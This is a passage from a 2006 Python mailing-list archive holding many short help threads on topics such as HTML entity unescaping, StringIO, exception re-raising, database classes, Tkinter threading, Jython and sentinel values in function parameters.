you store the stentinel in an instance. There are ways of working around that, but none are pleasant. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "If you don't know what your program is supposed to do, you'd better not start writing it." --Dijkstra From rvernica at gmail.com Tue Oct 31 02:38:28 2006 From: rvernica at gmail.com (Rares Vernica) Date: Mon, 30 Oct 2006 23:38:28 -0800 Subject: unescape HTML entities In-Reply-To: <45449EAC.4070103@vtxmail.ch> References: <45449EAC.4070103@vtxmail.ch> Message-ID: Thanks a lot for all the answers! Ray Frederic Rentsch wrote: > Rares Vernica wrote: >> Hi, >> >> How can I unescape HTML entities like " "? >> >> I know about xml.sax.saxutils.unescape() but it only deals with "&", >> "<", and ">". >> >> Also, I know about htmlentitydefs.entitydefs, but not only this >> dictionary is the opposite of what I need, it does not have " ". >> >> It has to be in python 2.4. >> >> Thanks a lot, >> Ray >> > One way is this: > > >>> import SE # > Download from http://cheeseshop.python.org/pypi/SE/2.2%20beta > >>> SE.SE ('HTM2ISO.se')('input_file_name', 'output_file_name') # > HTM2ISO.se is included > 'output_file_name' > > For repeated translations the SE object would be assigned to a variable: > > >>> HTM_Decoder = SE.SE ('HTM2ISO.se') > > SE objects take and return strings as well as file names which is useful > for translating string variables, doing line-by-line translations and > for interactive development or verification. A simple way to check a > substitution set is to use its definitions as test data. The following > is a section of the definition file HTM2ISO.se: > > test_string = ''' > ø=(xf8) # 248 f8 > ù=(xf9) # 249 f9 > ú=(xfa) # 250 fa > û=(xfb) # 251 fb > ü=(xfc) # 252 fc > ý=(xfd) # 253 fd > þ=(xfe) # 254 fe > é=(xe9) > ê=(xea) > ë=(xeb) > ì=(xec) > í=(xed) > î=(xee) > ï=(xef) > ''' > > >>> print HTM_Decoder (test_string) > > ?=(xf8) # 248 f8 > ?=(xf9) # 249 f9 > ?=(xfa) # 250 fa > ?=(xfb) # 251 fb > ?=(xfc) # 252 fc > ?=(xfd) # 253 fd > ?=(xfe) # 254 fe > ?=(xe9) > ?=(xea) > ?=(xeb) > ?=(xec) > ?=(xed) > ?=(xee) > ?=(xef) > > Another feature of SE is modularity. > > >>> strip_tags = ''' > ~<(.|\x0a)*?>~=(9) # one tag to one tab > ~~=(9) # one comment to one tab > | # run > "~\x0a[ \x09\x0d\x0a]*~=(x0a)" # delete empty lines > ~\t+~=(32) # one or more tabs to one space > ~\x20\t+~=(32) # one space and one or more tabs to > one space > ~\t+\x20~=(32) # one or more tab and one space to > one space > ''' > > >>> HTM_Stripper_Decoder = SE.SE (strip_tags + ' HTM2ISO.se ') # > Order doesn't matter > > If you write 'strip_tags' to a file, say 'STRIP_TAGS.se' you'd name it > together with HTM2ISO.se: > > >>> HTM_Stripper_Decoder = SE.SE ('STRIP_TAGS.se HTM2ISO.se') # > Order doesn't matter > > Or, if you have two SE objects, one for stripping tags and one for > decoding the ampersands, you can nest them like this: > > >>> test_string = "

style='line-height:110%'>René est un garçon qui > paraît plus âgé.

" > > >>> print Tag_Stripper (HTM_Decoder (test_string)) > Ren? est un gar?on qui para?t plus ?g?. > > Nesting works with file names too, because file names are returned: > > >>> Tag_Stripper (HTM_Decoder ('input_file_name'), 'output_file_name') > 'output_file_name' > > > Frederic > > > From diffuser78 at gmail.com Thu Oct 5 15:56:40 2006 From: diffuser78 at gmail.com (diffuser78 at gmail.com) Date: 5 Oct 2006 12:56:40 -0700 Subject: Graph Theory Message-ID: <1160078200.790616.209000@i42g2000cwa.googlegroups.com> Is there any library in Python which has implementation of graph theoretic algorithms and models ? From david at boddie.org.uk Sun Oct 8 10:03:55 2006 From: david at boddie.org.uk (David Boddie) Date: Sun, 08 Oct 2006 16:03:55 +0200 Subject: Kde Taskbar References: <4527a4ae@127.0.0.1> <4opp4hFft30pU1@uni-berlin.de> Message-ID: On Sunday 08 October 2006 14:16, Lawrence D'Oliveiro wrote: > In message , David Boddie > wrote: > >> I'd be interested in an example of how to use knotify via DCOP. > > Found a tutorial here . Thanks for the link. Maybe the original poster can use something from the tutorial if the window activation trick doesn't work. David From me at jonbowlas.com Mon Oct 16 09:18:07 2006 From: me at jonbowlas.com (Jonathan Bowlas) Date: Mon, 16 Oct 2006 14:18:07 +0100 Subject: Convert StringIO to string Message-ID: <022401c6f125$856ac9d0$fde92452@bowlas> Ahh thanks, I'll give that a try. -----Original Message----- From: python-list-bounces+info=jonbowlas.com at python.org [mailto:python-list-bounces+info=jonbowlas.com at python.org] On Behalf Of skryskalla at gmail.com Sent: 16 October 2006 14:00 To: python-list at python.org Subject: Re: Convert StringIO to string Jonathan Bowlas wrote: > But obviously replace() isn't an attribute of StringIO so I guess I need to > convert it to a string first, can someone please advise how I can do this? StringIO objects are file-like objects, so you need to use read or readlines to get the string data out of it (just like a regular file). Before reading remember to seek back to the beginning to get all of the data ("Be kind, rewind!"): >>> import StringIO >>> s = StringIO.StringIO() >>> s.write("hello world\n") >>> s.seek(0) >>> s.read() 'hello world\n' >>> s = StringIO.StringIO() >>> s.write("hello world\n") >>> s.read() '' -- http://mail.python.org/mailman/listinfo/python-list From steve at holdenweb.com Tue Oct 3 02:46:28 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 03 Oct 2006 07:46:28 +0100 Subject: saving an exception In-Reply-To: References: Message-ID: Bryan wrote: > hi, > > i would like to save an exception and reraise it at a later time. > > > something similar to this: > > exception = None > def foo(): > try: > 1/0 > except Exception, e: > exception = e > > if exception: raise exception > > > i have a need to do this because in my example foo is a callback from c code > which was originally called from python and i can't modify the c code. > with the above code, i'm able to successfully raise the exception, but the > line number of the exception is at the place of the explicit raise instead > of the where the exception originally occurred. is there anyway to fix > this? > You can capture the trace at the time the original exception is raised, if that would help? I think the traceback module lets you do that. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From bretthoerner at gmail.com Sat Oct 14 19:15:58 2006 From: bretthoerner at gmail.com (Brett Hoerner) Date: 14 Oct 2006 16:15:58 -0700 Subject: Ok. This IS homework ... In-Reply-To: <1160866295.553656.112730@m7g2000cwm.googlegroups.com> References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com> Message-ID: <1160867758.584637.101360@m73g2000cwd.googlegroups.com> spawn wrote: > while running: > guess = int(raw_input('Enter an integer that I can use to add : ')) > subtotal = guess > while running: > guess = int(raw_input('I\'ll need another number : ')) > running_total = guess + subtotal You keep adding the original input (subtotal) to the most recent guess, and printing "running_total". You never re-assign subtotal or make use of running_total in your deepest loop. Also, you never break out of your deepest loop, why are you using two nested infinite-loops anyway? Regards, Brett Hoerner From martin.witte at gmail.com Fri Oct 20 02:34:48 2006 From: martin.witte at gmail.com (wittempj@hotmail.com) Date: 19 Oct 2006 23:34:48 -0700 Subject: help with my first use of a class In-Reply-To: <1161324003.586807.145410@b28g2000cwb.googlegroups.com> References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com> Message-ID: <1161326088.159914.47150@h48g2000cwc.googlegroups.com> BartlebyScrivener wrote: > I am a mere hobbyist. Spent several hours trying to make a class, > because I think this is an occasion where I need one. But I can't make > it work. > > This code "works" (only because of the global c, which I know I'm > supposed to avoid, by using a Class). I edited the rest to leave out > the irrelevant formatting and printing of the quotations. > > I've read about Classes several times, but I don't "get" them yet. > Obviously. If I can solve one real life problem like this, then maybe > I'll see the light. > > If I understand the power of Classes correctly, I could make one that > would allow me to make a new instance that would connect to, say, an > SQLite3 db instead of the Access db, as well as to create more methods > that will do different SQL searches. > > Thank you for any help, > > rd > > -------------------------------------- > > import mx.ODBC.Windows as odbc > import sys > import random > > def connect(): > global c This means you want to use a global variable c which doesn't exist yet, an example would be to save this code to a file: #!/usr/bin/env python c = 0 def test_global(): global c c = 1 print c this will print 0 when you run it > db='DSN=Quotations' > conn = odbc.DriverConnect(db) > c = conn.cursor() > > def random_quote(): > """ > Counts all of the quotes in MS Access database Quotations2005.mdb. > Picks one quote at random and displays it using textwrap. > """ > c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery") > # Yields the number of rows with something in the quote field > total_quotes = c.fetchone() > # Get a random number somewhere between 1 and the number of total > quotes > quote_number = (random.randint(1, total_quotes[0]),) > # Select a quote where the ID matches that number > c.execute ("SELECT Author, Quote FROM PythonQuoteQuery WHERE ID=?", > quote_number) > quote = c.fetchone() > blah blah blah > > def print_quote() > code to format and print the quote (which will also have to be > global, unless I learn Classes!) > > A class structure could look like - please bear in mind that I don't know mx.ODBC.Windows - I guess it is not completely DB-API compliant, as you don't use a connect method. class SQLQuery(object): """Object which connects to the database and can execurte SQL commands """ def __init__(self, conn): """conn is a dictionary {'serverId': XX, 'userId': YY, 'passWord': ZZ} """ self.connection = connect(conn['userId'], conn['passWord'], conn['serverId']) self.cursor = self.__connection.cursor() def select(self, selectqry): """argument selectqry specifies a sql which returns data, like a select """ self.cursor.execute(selectqry) return self.cursor.fetchall() sql = SQLQuery('serverId': 'XX', 'userId': 'YY', 'passWord': 'ZZ') qoutes = sql.select("SELECT COUNT(Quote) FROM PythonQuoteQuery") print quotes > if __name__ == '__main__': > if len(sys.argv) == 1: sys.argv is a list, where the first argument is the name of the running script, the second element is the first argument, etc. > connect() > random_quote() > print_quote() From fredrik at pythonware.com Mon Oct 30 05:58:06 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 30 Oct 2006 11:58:06 +0100 Subject: Very simple request about argument setting. In-Reply-To: References: Message-ID: Hieu Hoang wrote: > So, this command assigns 2 values (x and foo) to 3 variables (x, foo > and bar), which raises that exception. I'm not sure why python says > "need more than 2 values to unpack" not "need 3 values" though. probably because if you look at the call site x,foo,bar=shuf(1,2,3,4,5,6,7,8) it's more helpful to learn that "shuf" returned 2 values than to learn that the code you're looking at requires three values. From irmen.NOSPAM at xs4all.nl Tue Oct 24 19:05:20 2006 From: irmen.NOSPAM at xs4all.nl (Irmen de Jong) Date: Wed, 25 Oct 2006 01:05:20 +0200 Subject: Stylesheet not respected In-Reply-To: <1161730422.793144.289690@f16g2000cwb.googlegroups.com> References: <1161730422.793144.289690@f16g2000cwb.googlegroups.com> Message-ID: <453e9c33$0$335$e4fe514c@news.xs4all.nl> Suren wrote: > I was able to the see weird stylesheet behavior on opera, IE and > mozilla under > mod_python. [snip] I'm 99% sure this has nothing to do with Python but is just an error in your CSS file. Show the CSS so we might be able to see the problem. One thing to check for though is that your web server is serving CSS files with the correct content type (text/css and not text/plain or somthing equally silly). --Irmen From carsten at uniqsys.com Tue Oct 17 09:02:04 2006 From: carsten at uniqsys.com (Carsten Haese) Date: Tue, 17 Oct 2006 09:02:04 -0400 Subject: Newbie: datetime conversion question In-Reply-To: <1161089016.309925.94840@b28g2000cwb.googlegroups.com> References: <1161089016.309925.94840@b28g2000cwb.googlegroups.com> Message-ID: <1161090123.9902.3.camel@dot.uniqsys.com> On Tue, 2006-10-17 at 08:43, kevin evans wrote: > Hi, > I'm trying to convert some code from Ruby to Python, specifically.. > > timestamp = "%08x" % Time.now.to_i > > Make a hex version of the current timestamp. Any ideas how best to do > this in python gratefully received.. import time timestamp = "%08x" % int(time.time()) -Carsten From fulvio at tm.net.my Fri Oct 27 11:11:12 2006 From: fulvio at tm.net.my (Fulvio) Date: Fri, 27 Oct 2006 23:11:12 +0800 Subject: Handling emails In-Reply-To: <8764e6hex1.fsf@benfinney.id.au> References: <8764e6hex1.fsf@benfinney.id.au> Message-ID: <200610272311.12604.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** On Friday 27 October 2006 06:48, Ben Finney wrote: > There is always the option to not send messages to this list using > that mail server Once again sorry for that. I'll take action to switch to another mailserver. Thank for the advice F From tim.golden at viacom-outdoor.co.uk Mon Oct 9 10:00:10 2006 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Mon, 9 Oct 2006 15:00:10 +0100 Subject: file system iteration In-Reply-To: Message-ID: [Georg Brandl] | rick wrote: | > In Windows, the file system is disjointed and there is now | real 'root' | > At least none that I can see. It looks more like this: | > | > | | | | | | | | > |_|_|_|_|_|_| | > A B C D E F G | > | > How do you guys handle this when working with scripts that | need to touch | > all files and folders on a Windows machine? I've been | looping through | > A-Z like this: | Which application needs to walk over ALL files? Normally, you | just have a starting path and walk over everything under it. FWIW, I'm inclined to agree with George: whatever system you're on, blindly walking across all file paths may be more or less of a good idea. Certain of those drive letters may be removable drives [*] or network (even web-based) drives with vast acreages of storage. [*] Try doing the following, for example, and watch for the popup: import os for x in os.walk ("a:/"): print x Depending on how far your "core Python-only" requirement goes, you should be able to use pywin32 or ctypes to dig into the Win32 API to pick up volume-level information, altho' I seem to recall it's mildly messy. Certainly WMI can do things here, but I suspect you'd want a tighter starting requirement than we're currently seeing. TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From cems at earthlink.net Sun Oct 1 11:37:24 2006 From: cems at earthlink.net (charlie strauss) Date: Sun, 1 Oct 2006 11:37:24 -0400 (EDT) Subject: Is this a bug? Python intermittently stops dead for seconds Message-ID: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net> Steve, digging into the gc docs a bit more, I think the behaviour I am seeing is still not expected. Namely, the program I offered has no obvious place where objects are deallocated. The way GC is supposed to work is thate there are three levels of objects level0: newly created objects level1: objects that survived 1 round of garbage collection level2: objects that survivied 2+ rounds of gargbage collection Since all of my numerous objects are level2 objects, and none of them are every deallocated, then I should never trip the GC for these. Your explanation would require this to be tripped so I can't explain it. For your explanation to be correct then there as to be some non-obvious step in the program that is deallocating level2 items in sufficient numbers to trip the GC. From bearophileHUGS at lycos.com Wed Oct 11 18:23:34 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 11 Oct 2006 15:23:34 -0700 Subject: dicts + amb In-Reply-To: References: <1160601017.272078.63240@h48g2000cwc.googlegroups.com> Message-ID: <1160605414.714511.181280@k70g2000cwa.googlegroups.com> Marc 'BlackJack' Rintsch: > I don't know if this is documented somewhere but the `reversed()` function > looks for a `__reversed__()` method that returns an iterator. You are right, thank you, I have done some tests already, and I'll soon add that method too. ------------------- Partially related. I have used the new Google code search: http://www.google.com/codesearch/advanced_code_search To find the usage frequency of Python dict methods: 456 ".itervalues()" lang:python 415 ".iteritems()" lang:python 403 ".iterkeys()" lang:python 387 ".values()" lang:python 385 ".clear()" lang:python 256 ".update(" lang:python 254 ".fromkeys(" lang:python 224 ".has_key(" lang:python 201 ".get(" lang:python 200 ".items()" lang:python 159 ".popitem()" lang:python 113 "a.setdefault(" lang:python The results are quite approximated, but they seem meaningful. Bye, bearophile From jmdeschamps at gmail.com Fri Oct 13 14:45:02 2006 From: jmdeschamps at gmail.com (jmdeschamps at gmail.com) Date: 13 Oct 2006 11:45:02 -0700 Subject: IDE In-Reply-To: <12ivggt86e3js24@corp.supernews.com> References: <4zOXg.1918$uv5.11354@twister1.libero.it> <12ivggt86e3js24@corp.supernews.com> Message-ID: <1160765102.671856.202100@f16g2000cwb.googlegroups.com> Jan Bakuwel wrote: > John Purser wrote: > > On Fri, 2006-10-13 at 15:48 +0000, giuseppe wrote: > >> What is the better IDE software for python programming? > >> > >> many thanks > >> > >> joe > > > > Joe, > > > > Find the best Python programmer and ask him/her. > > > > John Purser > > I may be the worst Python programmer (since Python is new for me)... but > I have a lot of experience with IDEs and just looked into Python IDEs. > > My opinion: Eclipse is free but rather complex; WingIDE is commercial > software but well worth the few $ - at least for someone like myself. > > cheers, > Jan Actually, Eclipse is easy enough, if you don't want to use the whole complexity available and Pydev (the python plugin) is really good - but this is NOT a flame because wingware as a good reputation also SPE (but I haven't tried it necause i don't have wxPython), also PythonScript or Pyscripter as it is sometimes found, but that is windows only (I think). And then, there is Komodo, from our friends at ActiveState... Jean-Marc From rrr at ronadam.com Thu Oct 12 18:26:45 2006 From: rrr at ronadam.com (Ron Adam) Date: Thu, 12 Oct 2006 17:26:45 -0500 Subject: 3D Vector Type Line-Drawing Program In-Reply-To: <452d2474$1@nntp0.pdx.net> References: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com> <452b17a7$1@nntp0.pdx.net> <8xYWg.5851$fl.4129@dukeread08> <452d2474$1@nntp0.pdx.net> Message-ID: Scott David Daniels wrote: > Ron Adam wrote: >> Scott David Daniels wrote: >>> James Stroud wrote: >>>>> I'm looking for a program to do line-drawings in 3d, with output to >>>>> postscript or svg or pdf, etc. I would like to describe a scene >>>>> with certain 1-3d elements oriented in 3d space with dashed or >>>>> colored lines and filled or transparent surfaces (or maybe >>>>> semitransparent). >>> >>> >>> Take a look at VPython -- easy to start, 3-D display (wall-eye / >>> cross-eye) easy to run on. >> >> I really like VPython because of how easy it is to use once you are >> familiar with it. >> >> Is there a way to have the display show a wire frame image instead of >> shaded shapes? > You can draw the edges as lines. Is there a setting for this?, or are you suggesting reading the coordinates and creating curve objects for the edges? >> Is there an easy way to convert a display to something that can be >> printed? > > You can generate POV-ray source. This is not a system for creating > beautiful pictures, but rather a great 3-D sketch pad. Doing a little googling found this... http://cgkit.sourceforge.net/index.html Still most of the items listed here are geared more towards 3d animation or for generating displays and are not ideal for generating high quality printed pages. _Ron From ath-admin at vt.edu Mon Oct 9 10:17:14 2006 From: ath-admin at vt.edu (rick) Date: Mon, 09 Oct 2006 10:17:14 -0400 Subject: file system iteration In-Reply-To: References: Message-ID: Fredrik Lundh wrote: > what's the difference between a "starting path" and a "starting point" ? None. What starting path or point would you suggest under Windows? Is there something obvious that I'm missing? I see no starting point under windows as my initial question clearly stated. From hanumizzle at gmail.com Fri Oct 6 22:24:07 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 22:24:07 -0400 Subject: Names changed to protect the guilty In-Reply-To: References: Message-ID: <463ff4860610061924y361ecfe0xfd60ea2919f905c5@mail.gmail.com> On 6 Oct 2006 16:27:51 -0700, Aahz wrote: > The following line of lightly munged code was found in a publicly > available Python library... > > if schema.elements.has_key(key) is False: if not schema.elements.has_key(key): or, actually, if not key in schema.elements: is how I would write it, but this reads more like English. -- Theerasak From fredrik at pythonware.com Tue Oct 24 10:58:30 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 24 Oct 2006 16:58:30 +0200 Subject: A py2exe like tool for Linux In-Reply-To: <83e8215e0610240527n786189d3o78987cd1cb4dd66d@mail.gmail.com> References: <83e8215e0610240527n786189d3o78987cd1cb4dd66d@mail.gmail.com> Message-ID: Paolo Pantaleo wrote: > is thre something like py2exe for Linux? I don't need to build a > standalone executable (most Linuxes have python instaled), but at > least I need to provide all the needed libraries togheter with my > source code, so users just need to download one file, and not several > libraries. "installer" and "cx_freeze" are the two most common alternatives; see this page for links: http://effbot.org/zone/python-compile.htm you can also build frozen interpreter binaries; see Tools/freeze/README in the source distribution for details. From leipold at ace-net.com Mon Oct 16 15:15:48 2006 From: leipold at ace-net.com (Walter S. Leipold) Date: Mon, 16 Oct 2006 15:15:48 -0400 Subject: jython and toString Message-ID: toString() isn't supposed to be a static method. When you call x.toString(), you're accessing x's non-static version of toString(), which is inherited from Object. -- Walt ivansh (ishijak at gmail.com) wrote: > For one java class (Hello) i use another (HelloPrinter) to build the > string representation of the first one. When i've tried to use this > from within jython, HelloPrinter.toString(hello) call gives results > like Object.toString() of hello has being called. The example below > shows this behaviour. > Could somebody explain this? > > // Hello.java > package jythontest; > public class Hello { > private String name; > public Hello(String name) > { > this.name = name; > } > public String sayHello() > { > return "Hello, "+name; > } > } > > // HelloPrinter.java > package jythontest; > public class HelloPrinter { > public static String toString(Hello h) > { > return h.sayHello(); > } > > public static String toMyString(Hello h) > { > return h.sayHello(); > } > } > > # calljava.py > from jythontest import * > h = Hello("theName") > print h > print HelloPrinter.toString(h) > print HelloPrinter.toMyString(h) > > OUTPUT: > jythontest.Hello at 523ca2 // GOOD > jythontest.Hello at 523ca2 // WRONG > Hello, theName // GOOD > > > Jython 2.1 on java (JIT: null) > > java version "1.5.0_03" > Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_03-b07) > Java HotSpot(TM) Server VM (build 1.5.0_03-b07, mixed mode) > > -- > http://mail.python.org/mailman/listinfo/python-list > From Sebastien.Boisgerault at gmail.com Tue Oct 17 03:36:51 2006 From: Sebastien.Boisgerault at gmail.com (=?iso-8859-1?q?S=E9bastien_Boisg=E9rault?=) Date: 17 Oct 2006 00:36:51 -0700 Subject: Max-plus library References: Message-ID: <1161070611.259347.153100@i42g2000cwa.googlegroups.com> Robert Kern wrote: > Martin Manns wrote: > > Hello, > > > > Is there any library that allows employing max-plus dioids in > > python (e.g. based on numpy/scipy)? > > Google says "no" and I haven't heard of any, so I imagine that there aren't. > There might be something buried in some of the control theory packages, but as I > neither know what max-plus dioids are, nor have I any current interest in them, > I can't give you any better pointers. See http://cermics.enpc.fr/~cohen-g//SED/index-e.html for a two-page introduction to the field and its applications. Definitely worth a look IMHO. The second software you refer to (http://www-rocq.inria.fr/MaxplusOrg/soft.html) is a Scilab package but essentially made of C and Fortran files. Getting a working binding for Python may not be that hard ... Cheers, SB > > -- > Robert Kern > > "I have come to believe that the whole world is an enigma, a harmless enigma > that is made terrible by our own mad attempt to interpret it as though it had > an underlying truth." > -- Umberto Eco From fredrik at pythonware.com Fri Oct 6 13:24:35 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 06 Oct 2006 19:24:35 +0200 Subject: Google breaks Usenet (was Re: How can I correct an error in an old post?) In-Reply-To: <1160154253.956469.195400@m73g2000cwd.googlegroups.com> References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> <1160096371.564954.132860@b28g2000cwb.googlegroups.com> <4SmVg.9105$GR.2172@newssvr29.news.prodigy.net> <1160154253.956469.195400@m73g2000cwd.googlegroups.com> Message-ID: Blair P. Houghton wrote: > "show me the message from 1987 or 1988 written by dickie > sexton where he invents the '(*plonk*)' meme" behavior, these days, you use wikipedia for things like that. From eric_brunel at despammed.com Thu Oct 5 03:15:38 2006 From: eric_brunel at despammed.com (Eric Brunel) Date: Thu, 05 Oct 2006 09:15:38 +0200 Subject: Python/Tkinter crash. References: Message-ID: On Wed, 04 Oct 2006 20:02:56 +0200, Hendrik van Rooyen wrote: > "Eric Brunel" wrote: >> I know the problem happens sometimes on one of my Tkinter applications, >> but I never succeeded in reproducing it systematically. I've browsed the >> tcl bugs, but didn't find anything. Maybe you'll be luckier than I... If >> you are, I'm interested in any hint you can find. > > Ouch! - this is a bit the wrong answer... Sorry for that. I realize I wasn't very helpful, here... > What I have seen, in mucking about today, is that it seems to be related > to > threading - I have a silly sort of thread that runs, updating my meters, > more or > less continuously, to simulate data from the field - it just adds some > values to > the seven display variables and calls the update methods that delete and > redraw > the arcs representing the analogue style meters, deleting and replacing > the text > objects that show the values, and then it sleeps for a while, and does > it all > again. > > At the same time, one other thread (other than the main thread), can be > created > to move a component on the canvas around by calling its delete and draw > methods. - but this is also done more or less continuously, as a new > thread is > created as soon as the previous one dies to move the next object around. > > Now these two things are asynchronous with each other, so that given > enough > time, they are bound to make calls to Tkinter in a re-entrant fashion, > and I > suspect that it is this that is causing the problem - my "evidence" for > this is > that I implemented a boolean as a sort of "lock" and had the Meter > updating back > down in favour of the other animation to try and avoid any sort of re - > entrancy > to the Tkinter canvas object's delete and draw methods... AFAIK, Tkinter is not thread safe. Using some kind of lock to serialize the calls from different threads may seem to work (I never tested it actually), but the safest way I found to use threads with Tkinter was to call it only from the thread where the main loop executes. The only thing that seems to work reliably in secondary threads is to generate custom events (widget.event_generate('<>', when='tail')), and to treat them in Tkinter's thread via bindings (widget.bind('<>', treatment_command)). This makes things a bit messy, but it works quite well. Now, as I said before, someone reported that he *did* get the error you got from time to time. So maybe the problem I have is not the same as yours, or maybe there are some cases in my application where Tkinter stuff still gets called directly from secondary threads. I'll try to investigate that when I've time and I'll keep you informed. HTH a little this time... -- python -c "print ''.join([chr(154 - ord(c)) for c in 'U(17zX(%,5.zmz5(17l8(%,5.Z*(93-965$l7+-'])" From mark.e.smith at arnold.af.mil Mon Oct 23 10:40:24 2006 From: mark.e.smith at arnold.af.mil (Mark E. Smith) Date: Mon, 23 Oct 2006 09:40:24 -0500 Subject: Using cElementTree and elementtree.ElementInclude Message-ID: <453CD458.2070605@arnold.af.mil> > cElementTree cannot hold ElementTree instances. > > can you post a small but self-contained example showing how you got this > error? > #from elementtree.ElementTree import ElementTree, dump # This works from cElementTree import ElementTree, dump # This does not from elementtree import ElementInclude etree = ElementTree(file='xml_in.xml').getroot() dump(etree) ElementInclude.include(etree) dump(etree) for child in etree.find('./included_root').findall('./*'): # Copy the child down to the root etree.append(child) # Remove the root/included_root etree.remove(etree.find('./included_root')) dump(etree) Thanks for the help. Mark From bdesth.quelquechose at free.quelquepart.fr Tue Oct 24 18:13:23 2006 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Wed, 25 Oct 2006 00:13:23 +0200 Subject: Debugging In-Reply-To: References: <453ca32e$0$11823$426a34cc@news.free.fr> Message-ID: <453e8b95$0$23778$426a34cc@news.free.fr> Fulvio a ?crit : > > On Monday 23 October 2006 19:10, Bruno Desthuilliers wrote: > > >>condition bpnumber [condition] >> >> Condition is an expression which must evaluate to true before the >>breakpoint is honored. If condition is absent, any existing condition is >>removed; i.e., the breakpoint is made unconditional. > > > I did some test, but whatever comes out doesn't disable the breakpoint until > condition becomes true. I'm not sure to get what you mean here... The condition is a Python *expression*. If this expressions evals to True, the bp will trigger, else it will be ignored. given the code: 00: for x in range(10): 01: y = x * 2 02: print y and the pdb commands: (pdb) break 2 (pdb) condition 1 y >= 6 The bp #1 should only trigger if y >= 6 > Supposing to have a function on program's variables the statement like " if > myvar == True: break" doesn't gives power to the BP. I definitively don't understand you. How does statements in your program relates to setting conditions on a bp in the debugger ? > If I do a check on the list of BPs the condition evidently appears, but no > luck :-O > Also clear statement s/statement/command/ > does clear only all BPs, it won't let me clear the > choosen BP number. Did you really bother reading the doc ? If you want to clear a given pb, you need to pass it's number as argument to clear. From claus.tondering at gmail.com Thu Oct 5 06:59:01 2006 From: claus.tondering at gmail.com (Claus Tondering) Date: 5 Oct 2006 03:59:01 -0700 Subject: Testing if an object is a function Message-ID: <1160045941.341621.32110@b28g2000cwb.googlegroups.com> If I want to test if an object, x, is an integer, I can call isinstance(x, int). But what do I do if I want to test if x is a function? I can do this: if isinstance(x, type(lambda: None)): ... But it does not seem very elegant to me. Surely there is a simpler way to specify a type object that is the type of a function. -- Claus Tondering From steven.bethard at gmail.com Thu Oct 26 03:48:27 2006 From: steven.bethard at gmail.com (Steven Bethard) Date: Thu, 26 Oct 2006 01:48:27 -0600 Subject: Sorting by item_in_another_list In-Reply-To: References: <7x1woypbe1.fsf@ruckus.brouhaha.com> Message-ID: Cameron Walsh wrote: > Which brings me to the question, would this solution: > > B = set(B) > A = B + list(x for x in A if x not in B) > > be faster than this solution: > > B = set(B) > A.sort(key=B.__contains__, reverse=True) > > My guess is yes, since while the __contains__ method is only run once > for each object, the list still does not require sorting. You're probably going to need to time that for your particular data. Here's what it looks like on an artificial data set: $ python -m timeit -s "A = range(100); B = range(40, 60, 2); B_set = set(B)" "A = B + list(x for x in A if x not in B_set)" 10000 loops, best of 3: 54.5 usec per loop $ python -m timeit -s "A = range(100); B = range(40, 60, 2); B_set = set(B)" "A.sort(key=B_set.__contains__, reverse=True)" 10000 loops, best of 3: 39.7 usec per loop That said, I'd probably still use the first solution -- it's more immediately obvious why that one works. STeVe From ben at benfinney.id.au Thu Oct 26 21:17:46 2006 From: ben at benfinney.id.au (Ben Finney) Date: Fri, 27 Oct 2006 11:17:46 +1000 Subject: Sentinel values for special cases Message-ID: <87ac3iftfp.fsf@benfinney.id.au> Howdy all, Ned Batchelder blogged[0] about a debate over checking function parameters, and to what extent dynamic typing should be relied upon. I was one of many who commented, but I wrote what purports to be a comprehensive checklist when considering special-case inputs for functions. I thought the best way to puncture my ego would be to post that list here and see how well it survives :-) Here goes: If you have a special case, there are a few steps. First, do you really need a special case, or are you just being paranoid about type safety? Let the caller take care of whether they mean what they say, and make your function do *one* job clearly and simply. (This supports the 'insert_ids(get_global_ids())' idea earlier.) Second, do you *really* need a special case, or are you making your function too complex? Be very suspicious of functions that are written to do two different things depending on their input, and split them so that both are simple and the caller can be explicit about what they want. This doesn't preclude factoring out the code that's common to both of them, of course. Third, if you actually need a special case, can it be None? This is the idiomatic Python "sentinel value", and it looks like the code posted by 'sri' [reproduced below]. def insert_ids(ids=None): if ids is None: ids = get_global_ids() Note that if you're squeamish about using None, but don't have a specific reason not to use it, use it; other programmers will thank you for following convention. Fourth, if you have decided that a magic sentinel value is called for but None is already taken for some other purpose, don't use a string. Use a unique do-nothing object, defined at the module level so callers can easily get at it, like 'Dmitry Vasiliev' showed [reproduced below]. GLOBAL = object() def insert_ids(ids=GLOBAL): if ids is GLOBAL: ids = get_global_ids() You won't accidentally use it, because it's defined only in one place (you're comparing by 'is', remember) and it's not used for anything except indicating the special case. Fifth, there is no fifth. If you've come to the end and think it's too complex, it probably is. Start at the top again. [0]: -- \ "Immorality: The morality of those who are having a better | `\ time." -- Henry L. Mencken | _o__) | Ben Finney From DustanGroups at gmail.com Tue Oct 3 18:49:13 2006 From: DustanGroups at gmail.com (Dustan) Date: 3 Oct 2006 15:49:13 -0700 Subject: Strange sorting error message In-Reply-To: <4og779Fe6briU1@uni-berlin.de> References: <1159915028.355898.40080@b28g2000cwb.googlegroups.com> <4og779Fe6briU1@uni-berlin.de> Message-ID: <1159915753.372945.153400@i3g2000cwc.googlegroups.com> Diez B. Roggisch wrote: > Dustan schrieb: > > I'm hiding 